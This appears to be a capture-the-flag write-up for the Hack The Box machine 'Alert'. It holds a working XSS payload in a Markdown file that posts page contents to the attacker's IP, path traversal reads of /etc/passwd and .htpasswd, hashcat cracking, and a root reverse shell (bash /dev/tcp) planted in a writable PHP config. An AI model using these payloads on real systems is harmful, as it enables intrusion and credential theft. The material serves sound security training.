28 November 2024
_ _ _ _ _
__ _| | ___ _ __| |_ | |__ | |_| |__
/ _` | |/ _ \ '__| __| | '_ \| __| '_ \
| (_| | | __/ | | |_ _| | | | |_| |_) |
\__,_|_|\___|_| \__(_)_| |_|\__|_.__/
This is another Hack the Box machine called Alert. While gaining an initial foothold may be challenging for some (it certainly was for me), it is a super-fun machine to break into. So, here we go.
Okay, first we’re going to start with some basic enumeration—we’ll scan for open ports on the machine:
┌──(ognard㉿ognard)-[~]
└─$ nmap -sC -sV alert.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 20:37 CET
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds
We can see that only two ports are open on the machine: port 22 and port 80.
If we access http://alert.htb, we can see that the website has a couple of pages:
Before exploring more around the website, we’ll continue with some additional enumeration steps.
We’re going to use Gobuster to attempt to discover available directories:
┌──(ognard㉿ognard)-[~/Tools/RevShells]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://alert.htb -x php,txt,bak -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://alert.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,bak
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/.php (Status: 403) [Size: 274]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/contact.php (Status: 200) [Size: 24]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php (Status: 200) [Size: 1]
/.php (Status: 403) [Size: 274]
Progress: 350656 / 350660 (100.00%)
===============================================================
Finished
===============================================================
From this, we can see that Gobuster has discovered a few directories—uploads and messages seeming the most significant. However, an attempt to access these in the browser results in a Forbidden 403 response.
Additionally, we can see that there are contact.php and messages.php. Trying to access these, messages.php gives a blank page, and contact.php returns ‘Error: Invalid request.’ Quite strange. Maybe we can make some use of these later on.
We’ll use ffuf to discover existing subdomains on the host:
┌──(ognard㉿ognard)-[~]
└─$ ffuf -u http://alert.htb -H "Host: FUZZ.alert.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.alert.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 42ms]
:: Progress: [151265/151265] :: Job [1/1] :: 522 req/sec :: Duration: [0:03:19] :: Errors: 0 ::
ffuf discovered a single subdomain available on the host. Trying to access the subdomain, a login dialog appears; however, we still don’t have the credentials to move forward with this subdomain.
Using the -fc flag with ffuf will ignore all 301 status codes in the output (otherwise, there will be a lot of them).
Initially, knowing that the website is based on .php, I thought it through by trying to upload Pentestmonkey’s PHP reverse shell, adding a .md extension to the .php file, intercepting the request in Burp Suite, and masking the .md extension with %00 (null byte). But that didn’t work out, since there was no way to find the uploaded php file, as the name of the file was hashed upon upload.
So, what can be done about this? We can modify a single .md file to contain JavaScript code that will serve our purpose of XSS injection. The idea is that, after reading the About Us page, we can see a kind of hint that the administrator of the website reads the messages (sent through the Contact Us page).
… Our administrator is in charge of reviewing contact messages and reporting errors to us…
We can see that when a .md file is uploaded on the home page (Markdown Viewer), it redirects to a preview page of the markdown file, and in the bottom right corner, there is a link ‘Share Markdown’ that is, in fact, a link to the uploaded .md file.
Maybe if we inject a malicious script into the .md file, we can later share this link with the administrator through the contact page?
We can try to edit/create a .md file with something like this:
# Innocent .md file
Hello Dear Administrator,
...
<script>
fetch('/messages.php')
.then(response => response.text())
.then(data => {
return fetch('http://10.10.14.116:8080', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: data,
});
})
</script>
and upload it through the Markdown Viewer page. That should redirect us to the preview page, and we can simply copy the shareable link from there to share with the administrator through the contact page.
What this script does:
My initial attempt was to fetch /messages (without .php), and I banged my head against this part a lot, since I had forgotten that I could eventually try to fetch messages.php, which was discovered earlier.
Okay, since we have uploaded the malicious .md file, copied the link from the preview page, and are ready to send it to the administrator through the contact page, we can now start an HTTP server to get the response back and read its content.
Important: Running basic python3 -m http.server won’t work, since it doesn’t support POST method. Instead, I’ve done this modified python script that will do the work instead:
```
from http.server import BaseHTTPRequestHandler, HTTPServerclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
# Read the content length from headers
content_length = int(self.headers.get(‘Content-Length’, 0))
# Read the body data
post_data = self.rfile.read(content_length)# Print the data received print("Data received:") print(post_data.decode('utf-8')) # Send a response back self.send_response(200) self.end_headers() self.wfile.write(b"Received")
Run the server
if name == “main”:
server_address = (‘’, 8080) # Listen on all interfaces, port 80
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
print(“Serving HTTP on port 8080…”)
httpd.serve_forever()```
With the server up and running, we can finally share the link with the administrator, and if everything goes well, we will get this response back in the terminal:
┌──(ognard㉿ognard)-[~/Tools/Servers]
└─$ python3 pyserv.py
Serving HTTP on port 80...
Data received:
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
That’s an interesting response—we can see a link to a file named 2024-03-10_15-48-34.txt
. Next, we can try modifying the script in the .md file to repeat the same process and fetch the contents of the file from the response, but that won’t return anything of value in our case. Instead, we can try using the Path Traversal technique to discover valuable information from other places on the machine.
# Innocent .md file
Hello Dear Administrator,
...
<script>
fetch('/messages.php?file=../../../../etc/passwd')
.then(response => response.text())
.then(data => {
return fetch('http://10.10.14.116:8080', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: data,
});
})
</script>
Repeating the process of uploading and sharing the link with the administrator with the XSS script above will return the following output on our locally running HTTP server:
Data received:
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
10.129.129.209 - - [27/Nov/2024 15:49:12] "POST / HTTP/1.1" 200 -
Very interesting indeed! There seem to be two users of interest here—albert and david. We can poke around to find more information by repeating the process of editing the XSS script, re-uploading, and sharing it with the admin. A good place to find more info is to attempt to read some config files. For example, we have the information from our scan that the website is running on Apache2, so as a start, we can read the default configuration for sites-available:
# Innocent .md file
Hello Dear Administrator,
...
<script>
fetch('/messages.php?file=../../../../etc/apache2/sites-available/000-default.conf')
.then(response => response.text())
.then(data => {
fetch('http://10.10.14.116:8080', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: data,
});
});
</script>
This will return the following response in the terminal:
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Here is the juicy part of this output:
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Let’s try modifying the XSS script once more, now to target this AuthUserFile
:
# Innocent .md file
Hello Dear Administrator,
...
<script>
fetch('/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd')
.then(response => response.text())
.then(data => {
fetch('http://10.10.14.116:8080', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: data,
});
});
</script>
Now we have some really nice output:
Data received:
<pre>albert:[PASSWORD HASH WILL BE HERE]
</pre>
We have discovered the hash for albert’s password. Now we need to store it in a hash.txt file and spin up Hashcat to crack the hash:
┌──(ognard㉿ognard)-[~/Practice/Alert]
└─$ hashcat -m 1600 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-x86-64-QEMU Virtual CPU version 2.5+, 2916/5896 MB (1024 MB allocatable), 3MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:[CRACKED PASSWORD WILL BE HERE]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Time.Started.....: Wed Nov 27 16:27:48 2024 (1 sec)
Time.Estimated...: Wed Nov 27 16:27:49 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 13749 H/s (11.93ms) @ Accel:128 Loops:500 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344385 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 2688/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidate.Engine.: Device Generator
Candidates.#1....: my3kids -> dangerous
Started: Wed Nov 27 16:27:30 2024
Stopped: Wed Nov 27 16:27:50 2024
And we have the password! Now we can try to SSH into the machine using albert’s credentials.
I tried to log in to the previously discovered statistics.alert.htb subdomain with albert’s credentials. It was successful; however, I didn’t find anything useful there that would serve me well.
We have successfully logged in through SSH.
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
Now we can easily read the user’s flag present in albert’s home directory. What remains is to escalate privileges to gain root access and get the root flag. We can try several procedures here, but what stands out as the most prominent in this case are the following processes:
albert@alert:~$ ps aux | grep "root"
...
root 998 0.0 0.6 207256 26436 ? Ss 13:31 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root 1000 0.0 0.0 8356 3408 ? S 13:31 0:00 /usr/sbin/CRON -f
root 1001 0.0 0.0 8356 3408 ? S 13:31 0:00 /usr/sbin/CRON -f
root 1005 0.0 0.5 396748 21332 ? Ssl 13:31 0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 1023 0.0 0.0 2608 596 ? Ss 13:31 0:00 /bin/sh -c /root/scripts/xss_bot.sh
root 1024 0.0 0.0 2608 596 ? Ss 13:31 0:00 /bin/sh -c /root/scripts/php_bot.sh
root 1025 0.0 0.0 6892 3224 ? S 13:31 0:00 /bin/bash /root/scripts/xss_bot.sh
root 1026 0.0 0.0 6892 3424 ? S 13:31 0:00 /bin/bash /root/scripts/php_bot.sh
root 1031 0.0 0.0 2636 796 ? S 13:31 0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
root 1032 0.0 0.0 6892 1980 ? S 13:31 0:01 /bin/bash /root/scripts/php_bot.sh
root 1033 0.0 0.0 2636 800 ? S 13:31 0:00 inotifywait -m -e create --format %w%f %e /var/www/alert.htb/messages --exclude 2024-03-10_15-48-34.txt
root 1034 0.0 0.0 6892 1832 ? S 13:31 0:00 /bin/bash /root/scripts/xss_bot.sh
...
Something’s going on here, and we’ll need to discover if we can find something useful. It seems there is something actively running in PHP in /opt/website-monitor
. We can inspect this further:
albert@alert:/opt/website-monitor$ ls -al
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Nov 28 13:43 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
We can see something popping out in the picture—this config folder shows that its group ownership is set to management
, which in turn has read, write, and execute permissions. Interestingly, albert’s user is a member of the management
group, as we can see above from the id
output.
Maybe we can edit something here that can be executed as root?
albert@alert:/opt/website-monitor/config$ ls -al
total 12
drwxrwxr-x 2 root management 4096 Nov 28 14:39 .
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root management 49 Nov 28 14:40 configuration.php
We can edit this configuration.php
file and possibly trigger a reverse shell from here:
GNU nano 4.8 configuration.php Modified
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.116/4444 0>&1'");
define('PATH', '/opt/website-monitor');
?>
We should have
nc -lnvp 4444
running on our local machine at this point.
Now save the file (we may get a prompt like ‘File has been changed on the disk.’ asking if we want to continue saving), and we should see the reverse shell functioning in our local terminal:
┌──(ognard㉿ognard)-[~/Tools/Servers]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.207] from (UNKNOWN) [10.10.11.44] 38374
bash: cannot set terminal process group (1024): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:~#
Here we go! Just read the root.txt file, and we have the final flag.